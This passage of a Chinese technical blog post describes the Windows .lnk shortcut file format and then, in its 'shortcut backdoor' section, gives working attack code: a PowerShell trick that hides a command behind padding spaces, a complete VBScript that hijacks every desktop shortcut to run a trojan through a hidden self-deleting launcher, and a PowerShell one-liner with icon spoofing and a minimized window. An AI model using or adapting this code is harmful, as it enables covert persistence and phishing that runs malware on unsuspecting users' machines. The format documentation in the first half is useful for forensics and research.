  • data:指定项目的 shell 数据源定义的数据
    在这里插入图片描述
    在这里插入图片描述

3.3 LinkInfo

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • LinkInfoSize(4 bytes):一个 32 位无符号整数,指定 LinkInfo 结构的大小(以字节为单位)。该结构中指定的所有偏移量必须小于该值,并且该结构中包含的所有字符串必须适合该大小定义的范围

  • LinkInfoHeaderSize(4 bytes):一个 32 位无符号整数,指定LinkInfo标头部分的大小(以字节为单位),该标头部分由LinkInfoSize、LinkInfoHeaderSize、 LinkInfoFlags、VolumeIDOffset、LocalBasePathOffset、CommonNetworkRelativeLinkOffset、 CommonPathSuffixOffset字段 组成

  • LinkInfoFlags(4 bytes):指定此结构中是否存在 VolumeID、LocalBasePath、LocalBasePathUnicode和 CommonNetworkRelativeLink 字段的标志

  • VolumeIDOffset(4 bytes): 32 位无符号整数,指定VolumeID字段的位置。如果设置VolumeIDAndLocalBasePath 标志,则该值是距 LinkInfo 结构开头的偏移量(以字节为单位);否则,该值必须为零

  • LocalBasePathOffset(4 bytes):一个 32 位无符号整数,指定LocalBasePath字段的位置。如果设置了VolumeIDAndLocalBasePath标志,则该值是距 LinkInfo 结构开头的偏移量(以字节为单位);否则,该值必须为零

  • CommonNetworkRelativeLinkOffset(4 bytes): 32 位无符号整数,指定CommonNetworkRelativeLink字段的位置 。如果设置了CommonNetworkRelativeLinkAndPathSuffix标志,则该值是距 LinkInfo 结构开头的偏移量(以字节为单位);否则,该值必须为零

  • CommonPathSuffixOffset(4 bytes):一个 32 位无符号整数,指定CommonPathSuffix字段的位置 。该值是距 LinkInfo 结构开头的偏移量(以字节为单位)

  • LocalBasePathOffsetUnicode(4 bytes):可选的 32 位无符号整数,指定LocalBasePathUnicode字段的位置 。如果设置了VolumeIDAndLocalBasePath标志,则该值是距 LinkInfo 结构开头的偏移量(以字节为单位);否则,该值必须为零。仅当LinkInfoHeaderSize字段的值 大于或等于 0x00000024 时,才能出现此字段

  • CommonPathSuffixOffsetUnicode(4 bytes):可选的 32 位无符号整数,指定CommonPathSuffixUnicode字段的位置 。该值是距 LinkInfo 结构开头的偏移量(以字节为单位)。仅当LinkInfoHeaderSize字段的值 大于或等于 0x00000024 时,才能出现此字段

    VolumeID:可选的VolumeID结构(第 2.3.1 节),指定创建链接时链接目标所在卷的信息。如果 设置了VolumeIDAndLocalBasePath标志,则存在此字段。

  • LocalBasePath:一个可选的、以 NULL 结尾的字符串,由系统默认代码页定义,用于通过将字符串附加到 CommonPathSuffix 字段来构造链接项或链接目标的完整路径。如果 设置了VolumeIDAndLocalBasePath标志,则存在此字段

  • CommonNetworkRelativeLink:可选的 CommonNetworkRelativeLink 结构(第 2.3.2 节),指定有关存储链接目标的网络位置的信息

  • CommonPathSuffix:一个以 NULL 结尾的字符串,由系统默认代码页定义,用于通过附加到LocalBasePath字段中的字符串来构造链接项或链接目标的完整路径

  • LocalBasePathUnicode:一个可选的、以 NULL 结尾的Unicode 字符串,用于通过将字符串附加到CommonPathSuffixUnicode字段中来构造链接项或链接目标的完整路径。仅当设置了VolumeIDAndLocalBasePath标志并且LinkInfoHeaderSize字段的值大于或等于 0x00000024 时,此字段才可以存在

  • CommonPathSuffixUnicode:一个可选的、以 NULL 结尾的 Unicode 字符串,用于通过附加到LocalBasePathUnicode 字段中的字符串来构造链接项或链接目标的完整路径。仅当LinkInfoHeaderSize字段的值 大于或等于 0x00000024 时,才能出现此字段

3.3.1 LinkInfoHeaderSize
valueMeaning
0x0000001C未指定可选字段的偏移量。
0x00000024 ≤value指定可选字段的偏移量。
3.3.2 LinkInfoFlags

在这里插入图片描述

ValueDescription
A
VolumeIDAndLocalBasePath
If set, the VolumeID and LocalBasePath fields are present, and their locations are specified by the values of the VolumeIDOffset and LocalBasePathOffset fields, respectively. If the value of the LinkInfoHeaderSize field is greater than or equal to 0x00000024, the LocalBasePathUnicode field is present, and its location is specified by the value of the LocalBasePathOffsetUnicode field.If not set, the VolumeID, LocalBasePath, and LocalBasePathUnicode fields are not present, and the values of the VolumeIDOffset and LocalBasePathOffset fields are zero. If the value of the LinkInfoHeaderSize field is greater than or equal to 0x00000024, the value of the LocalBasePathOffsetUnicode field is zero.
B
CommonNetworkRelativeLinkAndPathSuffix
If set, the CommonNetworkRelativeLink field is present, and its location is specified by the value of the CommonNetworkRelativeLinkOffset field.If not set, the CommonNetworkRelativeLink field is not present, and the value of the CommonNetworkRelativeLinkOffset field is zero.
3.3.3 VolumeID

​ VolumeID 结构指定有关创建链接 时链接目标所在卷的信息。如果在原始位置找不到该文件,此信息对于解析链接很有用
在这里插入图片描述

VolumeID是由以下部分组成:

  • VolumeIDSize(4 bytes):一个 32 位无符号整数,指定此结构的大小(以字节为单位)。该值必须大于 0x00000010。该结构中指定的所有偏移量必须小于该值,并且该结构中包含的所有字符串必须适合该大小定义的范围

  • DriveType(4 bytes):一个 32 位无符号整数,指定存储链接目标的驱动器类型

  • DriveSerialNumber(4 bytes):一个 32 位无符号整数,指定存储链接目标的卷的驱动器序列号

  • VolumeLabelOffset(4 bytes):一个 32 位无符号整数,指定包含存储链接目标的驱动器的卷标的字符串的位置。该值是从 VolumeID 结构的开头到 NULL 终止字符串的偏移量(以字节为单位),由系统默认代码页定义。卷标字符串位于该结构的数据字段中

    ​ 如果该字段的值为 0x00000014,则必须忽略它,并且必须使用VolumeLabelOffsetUnicode字段的值来定位卷标字符串。

  • VolumeLabelOffsetUnicode(4 bytes):可选的 32 位无符号整数,指定包含存储链接目标的驱动器的卷标的字符串的位置。该值是从 VolumeID 结构的开头到 NULL 终止的Unicode 字符字符串的偏移量(以字节为单位)。卷标字符串位于该结构的数据字段中

    ​ 如果VolumeLabelOffset字段的值不是 0x00000014,则该字段不得存在;相反, VolumeLabelOffset字段的值 必须用于定位卷标字符串

  • data:数据缓冲区,其中包含驱动器的卷标,作为由系统默认代码页或 Unicode 字符定义的字符串,如前面的字段所指定

3.3.3.1 DriveType
ValueMeaning
DRIVE_UNKNOWN0x00000000The drive type cannot be determined.
DRIVE_NO_ROOT_DIR0x00000001The root path is invalid; for example, there is no volume mounted at the path.
DRIVE_REMOVABLE0x00000002The drive has removable media, such as a floppy drive, thumb drive, or flash card reader.
DRIVE_FIXED0x00000003The drive has fixed media, such as a hard drive or flash drive.
DRIVE_REMOTE0x00000004The drive is a remote (network) drive.
DRIVE_CDROM0x00000005The drive is a CD-ROM drive.
DRIVE_RAMDISK0x00000006The drive is a RAM disk.

3.4 StringData

​ StringData 是指传达用户界面和路径标识信息的一组结构

3.4.1 StringData 类型

​ StringData 大致分为以下几个类型:

  • NAME_STRING :一个可选结构,指定显示给最终用户的快捷方式的描述,以识别shell 链接 的用途。如果设置了HasName标志,则该结构必须存在
  • RELATIVE_PATH :一个可选结构,指定链接目标相对于包含 shell 链接的文件的位置。指定后,解析链接时应该使用该字符串。如果设置了HasRelativePath标志,则该结构必须存在
  • WORKING_DIR:一个可选结构,指定激活链接目标时要使用的工作目录的文件系统路径。如果设置了HasWorkingDir标志,则该结构必须存在
  • COMMAND_LINE_ARGUMENTS:一个可选结构,用于存储激活链接目标时指定的命令行参数。如果设置了HasArguments标志,则该结构必须存在
  • ICON_LOCATION:一个可选结构,指定在图标视图中显示 shell 链接项时要使用的图标的位置。如果设置了HasIconLocation标志,则该结构必须存在
    在这里插入图片描述
3.4.2 String Data 结构

​ 每个String Data结构如下:
在这里插入图片描述

  • CountCharacters(2 bytes):一个 16 位无符号整数,指定由系统默认代码页定义的字符数或在字符串字段中找到的Unicode字符数。零值指定空字符串。
  • String:由系统默认代码页定义的可选字符集,或长度由CountCharacters字段指定的 Unicode 字符串。该字符串不得以 NULL 结尾。

​ 上图中CountCharacters为0x22,说明总共存在0x22*2=0x44个字节的数据

3.5 sExtraData

​ ExtraData 是指传达有关链接目标的附加信息的一组结构。这些可选结构可以出现在附加到基本 Shell 链接二进制文件格式的额外数据部分中
在这里插入图片描述

​ 这里便不再详细展开了,要看具体信息,请参考微软官方文档

3.6 辅助工具推荐

​ https://ericzimmerman.github.io/#!index.md

LECmd.exe -f [:link file name]

在这里插入图片描述

4. Lnk 与 link 的区别

​ 在 Windows 中,使用 mklink 创建的软链接(符号链接)与快捷方式(.lnk 文件)是不同的。mklink 创建的是一个指向文件或目录的系统级符号链接,而快捷方式是通过 Windows Shell 创建的,包含更多元数据的链接。

4.1 快捷方式(.lnk 文件)

  • 创建:通过 Windows 资源管理器或程序右键菜单创建
  • 特性:实际上是一个小的桌面入口对象(DEO),它包含目标文件或目录的位置信息
  • 存储:作为文件存储在文件系统中,可以移动到其他计算机
  • 跨文件系统:可以跨不同的文件系统和卷
  • 显示:通常在资源管理器中以不同图标显示,并带有一个小箭头标志

4.2 软链接(符号链接,symlink)

  • 创建:使用命令行工具(如 mklink)创建
  • 特性:是一个轻量级的文件系统对象,它包含目标路径的文本表示
  • 存储:不包含数据,只包含一个指向另一个文件或目录的路径
  • 跨文件系统:可以跨不同的文件系统和卷(Windows 允许创建指向不同驱动器的符号链接)
  • 显示:在资源管理器中通常以普通文件或文件夹的形式显示,没有特殊标记

4.3 硬链接(hard link)

  • 创建:使用命令行工具(如 fsutillink)创建
  • 特性:是一个指向文件数据的直接引用,与原始文件共享数据块
  • 存储:硬链接直接指向文件的数据,不是独立的文件
  • 跨文件系统:不能跨不同的文件系统或卷,必须在同一个卷上
  • 显示:在资源管理器中以普通文件或文件夹的形式显示,没有特殊标记

第三部分 windows 快捷方式后门

0. windows快捷方式后门利用方式

  • 为恶意进程创建快捷方式,并将其加入启动程序
  • 钓鱼,利用当前用户现有的快捷方式进行迷惑,达到既能开启原程序,又能执行恶意程序的效果

1. 快捷方式奇淫巧计

1.1 更改图标

1.1.1 文件属性-更改图标

在这里插入图片描述

1.1.2 文件结构-String Data (ICON LOCATION)

在这里插入图片描述
在这里插入图片描述

注意7:修改完String Data中ICON LOCATION结构体的String和CountCharacters后需要去查看sShellLinkHeader的IconIndex属性是否置为一个正确的数字,正确的数指的是IconIdex必须小于当前lnk指向的程序中所有的icon图集总数

​ 比如存在程序index.exe,他的程序中有三个Icon,那么我们可以将IconIdex分别设置为0、1或者2,那么就可以显示出正确的所指向的Icon,不然将会显示默认的空白文件的Icon

注意8:通常情况下我们会将IconIndex置为0,因为对于一个程序来说(例如index.exe),那么index.exe,0就是指向的是当前程序的icon图标

1.2 更改目标

1.2.1 文件属性-目标

在这里插入图片描述

1.2.2 文件结构-sExtData(sEnvironmentVariableDataBlock)

在这里插入图片描述

注意9:需要同时修改sExtData中sEnvironmentVariableDataBlock结构体的TargetANSI和TargetUnicode

1.3 字符长度欺骗

​ 对于 Windows 快捷方式,点击右键属性,其中有一个"目标"选项,指向的是我们需要运行的程序的路径。目标的最大长度只有260个字符。任何超过这个长度的东西都是不可见的。但是,命令行参数的最大长度是4096个字符,我们可以在执行的命令行中插入空格,超过目标字段展示的260字符的长度,之后则无法在上面的窗口中看到整个命令。

$file = Get-Content "C:\Users\Administrator\Desktop\test.txt"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("C:\Users\Administrator\Desktop\test.txt.lnk")
$Shortcut.TargetPath = "%SystemRoot%/system32/cmd.exe"
$Shortcut.IconLocation = "%SystemRoot%/System32/Shell32.dll,21"
$Shortcut.Arguments = '                                                                                                                                                                                                                                       '+ $file
$Shortcut.Save()

在这里插入图片描述

​ 查看新生成的test.exe.lnk,我们可以发现在他的目标处,已经显示空白了

在这里插入图片描述

2. 创建 windows 快捷方式后门

2.1 方法一: 通过新建隐藏后门 VBScript 脚本

​ 查找特定文件夹下是否存在.lnk文件,然后更改其指向的目标文件,这种方法需要通过创建一个vbs文件来进行完成,这个vbs文件会执行原始文件和我们的木马文件。

set WshShell = WScript.CreateObject("WScript.Shell" )
Set fso = CreateObject("Scripting.FileSystemObject")

Const FILE_ATTRIBUTE_NORMAL = 0
Const FILE_ATTRIBUTE_READONLY = 1
Const FILE_ATTRIBUTE_HIDDEN = 2
Const FILE_ATTRIBUTE_SYSTEM = 4
Const FILE_ATTRIBUTE_DIRECTORY = 16

Const FILENAME_MIN_LENGTH = 1
Const FILENAME_MAX_LENGTH = 12

Const lnkSuffix = "lnk"
Const hookScriptSuffix = "vbs"

' GetFileSuffixByIndex 
' 根据文件路径和索引,获取对应的后缀
Function GetFileSuffixByIndex(filePath, suffix_index)
	Set file = fso.GetFile(filePath)
	fileName = file.Name
	
	suffix_arr = Split(filename, ".") 
	result = ""
	
    If UBound(suffix_arr) >= suffix_index Then
        result = suffix_arr(UBound(suffix_arr) - suffix_index + 1)
    End If
	
	Set file = Nothing
	GetFileSuffixByIndex = result
End Function

' IsFileSuffixExpected 
' 判断文件后缀是否是预期的文件后缀
Function IsFileSuffixExpected(fileSuffix, expectedSuffix)
	If LCase(fileSuffix)= LCase(expectedSuffix) Then
		IsFileSuffixExpected = 1
	Else
		IsFileSuffixExpected = 0
	End If
End Function

' GetRandomBetween
' 生成一个 [a, b) 区间内的随机数
Function GetRandomBetween(a, b)
    Dim seed
    Randomize Timer
	
    Dim randomValue
	' Rnd 生成一个 [0, 1) 区间内的随机数
    randomValue = Int(((b - a) * Rnd) + a)
    GetRandomBetween = randomValue
End Function

' GetRandomAlphanumeric
' 生成一个字符数字集的随机数
Function GetRandomAlphanumeric()
    Dim charSet, randomChar, randomIndex
    charSet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    randomIndex = GetRandomBetween(1, Len(charSet) + 1)
    randomChar = Mid(charSet, randomIndex, 1)
    GetRandomAlphanumeric = randomChar
End Function

' GetRandomFileName
' 生成一个随机的文件名
Function GetRandomFileName()
	result = ""
	result_length = GetRandomBetween(FILENAME_MIN_LENGTH, FILENAME_MAX_LENGTH + 1)
	For i = 1 to result_length
		result = result & GetRandomAlphanumeric()
	next
	GetRandomFileName = result
End Function

' IsEndWithBackSlash
' 判断当前文件夹是否是以标准的分隔符"\"结尾
Function IsEndWithBackSlash(path)
	Dim stringLength
	stringLength = Len(path)
	if stringLength <= 1 Then
		IsEndWithBackSlash = 0
	Else
		lastChar = Mid(path, stringLength, 1)
		if lastChar = "\" Then
			IsEndWithBackSlash = 1
		Else 
			IsEndWithBackSlash = 0
		End if
	End if
End Function

' GetStandardFolderName
' 获取以标准的分隔符"\"结尾的文件夹名称
Function GetStandardFolderName(path)
	if IsEndWithBackSlash(path) = 1 Then	
		GetStandardFolderName = path
	Else
		GetStandardFolderName = path & "\"
	End if 
End Function

' TraverseFolder
' 遍历当前文件夹中的文件/子文件夹
Function TraverseFolder(folder)
    Dim subfolder
	On Error Resume Next
	' 遍历当前文件夹中的文件
	For Each file In folder.Files
		If Err.Number = 0 And file.Size > 0 Then
			access_file = file.Path
			If IsFileSuffixExpected(GetFileSuffixByIndex(file, 1), lnkSuffix) = 1 Then
				call HookLnk(access_file, folder)
			End If
		end if
	Next
		
	' 遍历当前文件夹中的子文件夹
	For Each subfolder In folder.SubFolders
		TraverseFolder subfolder ' 递归调用遍历子文件夹
	Next
	
	TraverseFolder = 1
End Function

Function HookLnk(filename, folder)
	HasBeenHacked = 0
	tmp_filename = GetRandomFileName()
	newTarget = GetStandardFolderName(folder) & tmp_filename & "." & hookScriptSuffix
	
	set oShellLink = WshShell.CreateShortcut(filename)
	If fso.FileExists(oShellLink) Then
		' 判断快捷方式是否已经被劫持
		origTarget = oShellLink.TargetPath
		HasBeenHacked = IsFileSuffixExpected(GetFileSuffixByIndex(origTarget, 1), hookScriptSuffix)

		origArgs = oShellLink.Arguments
		'origIcon = oShellLink.IconLocation
		origIcon = origTarget 
		origDir = oShellLink.WorkingDirectory
		
		' 创建后门中间文件(满足条件: 后门不存在 且 Link 尚未被劫持)
		If fso.FileExists(newTarget) Then
			oShellLink.TargetPath = newTarget
		Else
			If HasBeenHacked = 0 Then
				' 设置hook脚本不可见
				Set File = FSO.CreateTextFile(newTarget,True)
				special_file_split = """"""
				File.Write "Set oShell = WScript.CreateObject(" & chr(34) & "WScript.Shell" & chr(34) & ")" & vbCrLf
				File.Write "oShell.Run " & special_file_split & chr(34) & implant & chr(34) & special_file_split & vbCrLf
				File.Write "oShell.Run " & special_file_split & chr(34) & origTarget & " " & origArgs & chr(34) & special_file_split & vbCrLf
				File.Close
				
				oShellLink.TargetPath = newTarget
				
				Set SetFileObject = FSO.GetFile(newTarget)
				SetFileObject.Attributes = FILE_ATTRIBUTE_SYSTEM + FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_READONLY
				Set SetFileObject = Nothing
			End If
		End If
	
		' 如果文件并没有被Hook,那么重定向快捷方式指向路径
		If HasBeenHacked = 0 Then
			oShellLink.IconLocation = origTarget & ", 0"
		End If
		oShellLink.WorkingDirectory = origDir
		oShellLink.WindowStyle = 7
		oShellLink.Save
		
		HookLnk = 1
	End If
	HookLnk = 0
End Function

On Error Resume Next
scriptPath = WScript.ScriptFullName

' implant需要修改成自己的木马路径
implant = "C:\Users\Administrator\Desktop\test.exe"
' curUserDesktop 需要修改成需要修改lnk的文件夹
curUser = WshShell.ExpandEnvironmentStrings("%USERPROFILE%")
curUserDesktop = GetStandardFolderName(curUser & "\Desktop")
call TraverseFolder(fso.GetFolder(curUserDesktop))

' 删除当前脚本
If fso.FileExists(scriptPath) Then
	fso.DeleteFile scriptPath, True
End If

Set fso = Nothing
set WshShell = Nothing


​ 效果如下:

​ 在没有被劫持的情况下一切都正常

在这里插入图片描述

​ lnk指向被劫持后,会生成一个随机的中间文件用于隐藏命令执行

在这里插入图片描述
在这里插入图片描述

2.2 方法二: 手动创建Lnk后门

2.2.1 寻找伪装文件,创建桌面快捷方式

​ 首先需要在windows上找一个伪装的参考对象(这里我们尝试将Winhex.exe作为伪装的参考),右键制作桌面快捷方式

在这里插入图片描述

​ 快捷方式信息中,“目标”对应的exe文件,起始位置对应的目标文件夹,记录其中目标exe路径:

C:\Users\richard\Desktop\Tools\WinHex15.1SR-8\WinHex.exe

在这里插入图片描述

2.2.2 通过Powershell调用加载附加程序

​ 这里通过powershell运行该快捷方式,并添加额外的calc.exe启动项

powershell.exe -c "invoke-item C:\Users\richard\Desktop\Tools\WinHex15.1SR-8\WinHex.exe; invoke-item c:\windows\system32\calc.exe"

​ 保存修改后发现快捷方式图标变成了powershell的图标

在这里插入图片描述

​ 打开快捷方式属性,修改图标
在这里插入图片描述

2.2.3 修改运行方式隐藏运行窗口

​ powershell运行过程中会如同cmd一样存在一个后台的运行窗口,我们双击快捷方式时会有一闪而过的窗口,这时候可以调整属性中的运行方式为"最小化"从而隐藏窗口。

在这里插入图片描述

​ 双击运行,成功执行原始文件和附加文件。
在这里插入图片描述

参考文献

[1] https://learn.microsoft.com/zh-cn/windows/win32/shell/links
[2] https://baijiahao.baidu.com/s?id=1770724291436944734&wfr=spider&for=pc
[3] https://blog.csdn.net/Giyomwd/article/details/104143426
[4] https://blog.iyatt.com/?p=12695
[5] https://mp.weixin.qq.com/s/G3c-7JATD2VSHMxHc0lY4A
[6] https://mp.weixin.qq.com/s/ew_OBGgJax4ab7OwtoyAuA
[7] https://bbs.kanxue.com/thread-260953.htm
[8] https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/ae350202-3ba9-4790-9e9e-98935f4ee5af
[9] https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/c3376b21-0931-45e4-b2fc-a48ac0e60d15
[10] https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/8cd21240-1b5d-43e6-adc4-38cf14e30cea
[11] https://www.cnblogs.com/zw1sh/p/17595381.html
[12] http://www.vxjump.net/files/security_research/lnk_inf.txt

  • 31
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值